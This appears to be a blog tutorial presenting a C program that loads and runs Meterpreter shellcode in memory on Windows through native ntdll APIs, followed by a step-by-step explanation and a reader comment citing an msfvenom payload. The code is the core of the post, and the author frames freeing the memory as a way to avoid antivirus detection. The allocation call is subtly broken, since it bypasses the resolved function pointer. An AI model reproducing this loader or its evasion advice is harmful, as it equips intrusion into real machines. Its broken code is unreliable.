Exploring Shellcode Execution with Native Windows APIs

#include <stdio.h>
#include <windows.h>
#include <winternl.h>

// Define the NtAllocateVirtualMemory function pointer
typedef NTSTATUS(WINAPI* yes)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
    );

// Define the NtFreeVirtualMemory function pointer
typedef NTSTATUS(WINAPI* no)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    PSIZE_T RegionSize,
    ULONG FreeType
    );

int main() {

    // Insert Meterpreter shellcode 
    unsigned char code[] = "\xa6\x12\xd9...";


    // Load the NtAllocateVirtualMemory function from ntdll.dll
    yes yes1 =
        (yes)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");


    // Allocate Virtual Memory  
    void* exec = NULL;
    SIZE_T size = sizeof(code);
    
    NTSTATUS status = NtAllocateVirtualMemory(
    GetCurrentProcess(), // Handle to the current process
    &exec,               // Address of the pointer to the allocated memory
    0,                   // Zero bits (usually 0)
    &size,               // Pointer to the size of the region
    0x3000, // MEM_COMMIT | MEM_RESERVE
    0x40    // This is the hex value for PAGE_EXECUTE_READWRITE
	);


    // Copy shellcode into allocated memory 
    RtlCopyMemory(exec, code, sizeof code);


    // Execute shellcode in memory  
    ((void(*)())exec)();


    // Free the allocated memory using NtFreeVirtualMemory
    no NtFreeVirtualMemory =
        (no)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtFreeVirtualMemory");
    SIZE_T regionSize = 0;
    status = NtFreeVirtualMemory(GetCurrentProcess(), &exec, &regionSize, MEM_RELEASE);

    return 0;
}

Proof of Concept

Explanation

Now lets discuss the code before i forget how it works, winternl.h is used to include the Windows Native API functions and types like NTSTATUS. typedef is used to define a data type so that we don’t have to explain it to the compiler again and again.

For NtAllocateVirtualMemory, you need to create a custom function pointer type that matches the function’s signature (i.e., its return type and parameters). This custom type is necessary to tell the compiler how to handle the function’s address and how to call it correctly. We have to check what parameters it takes so will see the documentation here

typedef NTSTATUS(WINAPI* yes)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);

so we define the custom function pointer type that matches NtAllocateVirtualMemory, so that when we have the address of NtAllocateVirtualMemory,
we can save it to a pointer. above, i added a screenshot and we can see what type of parameters it takes.

Now there’s another thing which i just learned — we also need to free the memory that we allocated for the shellcode after executing it.
this is considered good practice for two reasons:

1. Prevent Memory Leaks

  • when you allocate memory with NtAllocateVirtualMemory, it reserves a chunk of the process’s memory.
  • if you don’t free this memory using NtFreeVirtualMemory, it stays allocated until the program ends.
  • this can waste system resources, especially if the program runs multiple times or allocates large amounts of memory.

2. Security and Stealth

  • the shellcode (e.g., Meterpreter) might contain sensitive or malicious code. leaving it in memory after execution could:
    • allow security tools (like antivirus or memory scanners) to detect it
    • risk the shellcode being reused or exploited by other processes
  • freeing the memory using NtFreeVirtualMemory removes the shellcode from memory, reducing the chances of detection or unintended consequences.

so for that, we also use a native API — NtFreeVirtualMemory, and you can see the documentation [here].

// Define the NtFreeVirtualMemory function pointer
typedef NTSTATUS(WINAPI* no)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG FreeType
);

And again, we create a custom function pointer just like we did for NtAllocateVirtualMemory

int main() {

// Insert Meterpreter shellcode
unsigned char code[] = "\xa6\x12\xd9...";

After that, we start our int main() function and add our Meterpreter shellcode

    // Load the NtAllocateVirtualMemory function from ntdll.dll
yes yes1 =
(yes)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");

so in this code, we declare a variable yes1 of type yes, and we are storing the address in a pointer yes1 which will point to NtAllocateVirtualMemory from ntdll.dll.

how do we do it? we use the GetProcAddress function, which takes two parameters: the handle of the module and the function name.
to get the module handle, we use the GetModuleHandleA function and pass "ntdll.dll" as the parameter. it returns a handle, and we use that to get the address of NtAllocateVirtualMemory and store it in the yes1 pointer.

okay, now we have the address of NtAllocateVirtualMemory, which is the function used to allocate memory.
to use this function, we need a pointer that will store the address of the memory we just allocated.

we also have to tell Windows how much memory we want to allocate — so we use SIZE_T, which is a Windows data type used to represent the size of objects in bytes.

    // Allocate Virtual Memory  
void* exec = NULL;
SIZE_T size = sizeof(code);

So, we declare a variable size with the data type SIZE_T, which will store the sizeof(code), where code is our shellcode.

Now, the main part: we need to use the NtAllocateVirtualMemory function, so we refer back to the syntax and align everything to match it.

    NTSTATUS status = NtAllocateVirtualMemory(
GetCurrentProcess(), // Handle to the current process
&exec, // Address of the pointer to the allocated memory
0, // Zero bits (usually 0)
&size, // Pointer to the size of the region
0x3000, // MEM_COMMIT | MEM_RESERVE
0x40 // This is the hex value for PAGE_EXECUTE_READWRITE
);

so, we use NTSTATUS, which is another data type that stores the return values (success/failure) to indicate whether the function is successful or not.

we pass the parameters one by one:

  • we pass the handle to be current, so we use GetCurrentProcess.
  • we use the void* exec pointer for the memory location.
  • we pass the size of the memory to be allocated.
  • we specify that we want to commit and reserve the memory, using the hexadecimal value 0x3000.
  • we also specify that the memory should be readable, writable, and executable, using the hexadecimal value 0x40.

    // Copy shellcode into allocated memory 
RtlCopyMemory(exec, code, sizeof code);


// Execute shellcode in memory
((void(*)())exec)();

now, we use the last part of the code, which can be explained like this:
we will copy the shellcode into the memory we just allocated using RtlCopyMemory, which takes the pointer to the memory (exec), the code array (which is our shellcode), and sizeof(code).

a question arises: why didn’t we use the size variable we declared earlier? it’s because:

If NtAllocateVirtualMemory modifies size:

  • The function may adjust the size to a larger value to align with memory page boundaries (e.g., rounding up to the nearest 4KB page).
  • If you use RtlCopyMemory(exec, code, size) and size is larger than sizeof(code), you might end up copying more bytes than the code array contains, leading to undefined behavior (e.g., copying garbage memory or causing a crash).

so, we use sizeof(code) to ensure we’re copying the correct amount of data, and then we execute the shellcode with this line: ((void(*)())exec)();.

this line can be confusing because we are casting our existing pointer to a function pointer type. let me break it down to understand:

  • exec is a pointer (void*) that holds the memory address of the allocated memory where the shellcode was copied.
  • (void(*)()) is a function pointer type cast:
    • void: The return type of the function. This means the function we’re calling doesn’t return a value (or we don’t care about its return value).
    • (*): Indicates that this is a pointer to a function.
    • () : Specifies the parameters of the function. An empty () means the function takes no parameters.

so, we are defining a function pointer type that points to a function which returns no value and takes no parameters.

  • (void(*)())exec: This part casts the exec pointer to the function pointer type void(*)(). This means now our exec pointer, which was pointing to memory, will be treated as a function pointer. So when the compiler sees exec, it will see it as a pointer to a function, not just a memory location.
  • finally, ((void(*)())exec)(); The () at the end calls the function pointed to by the casted exec.

After that, it will run our shellcode.

    // Free the allocated memory using NtFreeVirtualMemory
no NtFreeVirtualMemory =
(no)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtFreeVirtualMemory");
SIZE_T regionSize = 0;
status = NtFreeVirtualMemory(GetCurrentProcess(), &exec, &regionSize, MEM_RELEASE);

return 0;

this is the last part of the code, and in this, we are doing the same thing as we did with NtAllocateVirtualMemory.
we create another object of type SIZE_T and set regionSize = 0.

Setting regionSize = 0 is a special instruction that tells Windows: “Free all the memory in the region starting at BaseAddress (which is exec).”

we then call NtFreeVirtualMemory with the mem_release flag, which releases the memory we previously allocated.

finally, the code ends with returning 0, indicating that the program has executed successfully.


Disclaimer

This is for research purposes only. The use of shellcode, memory manipulation, and similar techniques should be done in a controlled, ethical, and legal environment, such as in a penetration testing lab with explicit permission.

1 thought on “Exploring Shellcode Execution with Native Windows APIs”

  1. I use the same technique but i am using this payload of msfvenom -p windows/exec CMD=calc.exe -f c . the program compiled successfully no error received but when i execute the executable my shellcode didn’t execute.

    Reply

Leave a Comment